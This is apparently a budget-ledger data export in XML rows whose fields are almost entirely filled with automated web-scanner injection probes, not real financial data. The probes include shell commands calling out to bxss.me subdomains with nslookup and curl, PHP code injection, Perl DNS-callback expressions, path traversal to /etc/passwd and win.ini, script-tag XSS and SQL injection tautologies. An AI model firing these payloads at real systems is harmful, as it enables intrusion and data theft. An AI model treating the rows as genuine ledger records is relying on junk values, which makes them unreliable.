<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;echo ffvjyv$()\ xstchf\nz^xyu||a #' &amp;echo ffvjyv$()\ xstchf\nz^xyu||a #|" &amp;echo ffvjyv$()\ xstchf\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>bxss.me</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>echo gienim$()\ natwqy\nz^xyu||a #' &amp;echo gienim$()\ natwqy\nz^xyu||a #|" &amp;echo gienim$()\ natwqy\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>';print(md5(31337));$a='</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../etc/shells</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>bxss.me/t/xss.html?%00</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>gethostbyname(lc('hitxs'.'uqxqcfnvcac37.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(69).chr(98).chr(71)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>".gethostbyname(lc("hitsk"."ezrjnows0d3f6.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(84).chr(119).chr(66)."</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'.gethostbyname(lc('hitqi'.'qjsnpyai8da68.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(80).chr(98).chr(88).'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>';print(md5(31337));$a='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>'.gethostbyname(lc('hitzq'.'iwelwfox5f1aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(84).chr(115).chr(88).'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>gethostbyname(lc('hiter'.'qbhfqfvy3e5d8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(75).chr(117).chr(84)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>".gethostbyname(lc("hitgb"."jbzekybi05e15.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(83).chr(104).chr(81)."</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.gethostbyname(lc('hithg'.'agrtqoxafa370.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(78).chr(113).chr(76).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hituymoblxfxfaa3c6.bxss.me||curl${IFS}hituymoblxfxfaa3c6.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hituymoblxfxfaa3c6.bxss.me||curl${IFS}hituymoblxfxfaa3c6.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitiuckhtfods661b1.bxss.me||curl${IFS}hitiuckhtfods661b1.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>`(nslookup -q=cname hitmogxjzntmwf6d70.bxss.me||curl hitmogxjzntmwf6d70.bxss.me)`</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup -q=cname hitoufjjbzssfbf66f.bxss.me||curl hitoufjjbzssfbf66f.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>gethostbyname(lc('hitcw'.'rfwoyjyb290b2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(85).chr(101).chr(80)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(nslookup -q=cname hitkzaimfnrxnb5ae9.bxss.me||curl hitkzaimfnrxnb5ae9.bxss.me))</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;echo pazedb$()\ tqptrb\nz^xyu||a #' &amp;echo pazedb$()\ tqptrb\nz^xyu||a #|" &amp;echo pazedb$()\ tqptrb\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>echo radzfs$()\ xyfnmy\nz^xyu||a #' &amp;echo radzfs$()\ xyfnmy\nz^xyu||a #|" &amp;echo radzfs$()\ xyfnmy\nz^xyu||a #</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>|(nslookup${IFS}-q${IFS}cname${IFS}hitalwmolqnfvde817.bxss.me||curl${IFS}hitalwmolqnfvde817.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>;(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)|(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)&amp;(nslookup -q=cname hitcosdcmxteka6239.bxss.me||curl hitcosdcmxteka6239.bxss.me)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>VVdCb25TOXY=</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>`(nslookup -q=cname hitoroewvptac5833b.bxss.me||curl hitoroewvptac5833b.bxss.me)`</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>UlNjdE1vNm4=</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>gethostbyname(lc('hitqk'.'gnqraesi582a1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(87).chr(109).chr(77)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>".gethostbyname(lc("hitil"."ibpkzlzq88cdc.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(90).chr(121).chr(88)."</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'.gethostbyname(lc('hitjx'.'uhpurwwc2dccf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(67).chr(114).chr(79).'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>19204039</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>file:///etc/passwd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>";print(md5(31337));$a="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'"()&amp;%&lt;zzz&gt;&lt;ScRiPt &gt;YcIQ(9361)&lt;/ScRiPt&gt;</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>';print(md5(31337));$a='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitbudkxgeqen46ed7.bxss.me||curl${IFS}hitbudkxgeqen46ed7.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitbudkxgeqen46ed7.bxss.me||curl${IFS}hitbudkxgeqen46ed7.bxss.me)&amp;`'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>19385109</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=26</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=25</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
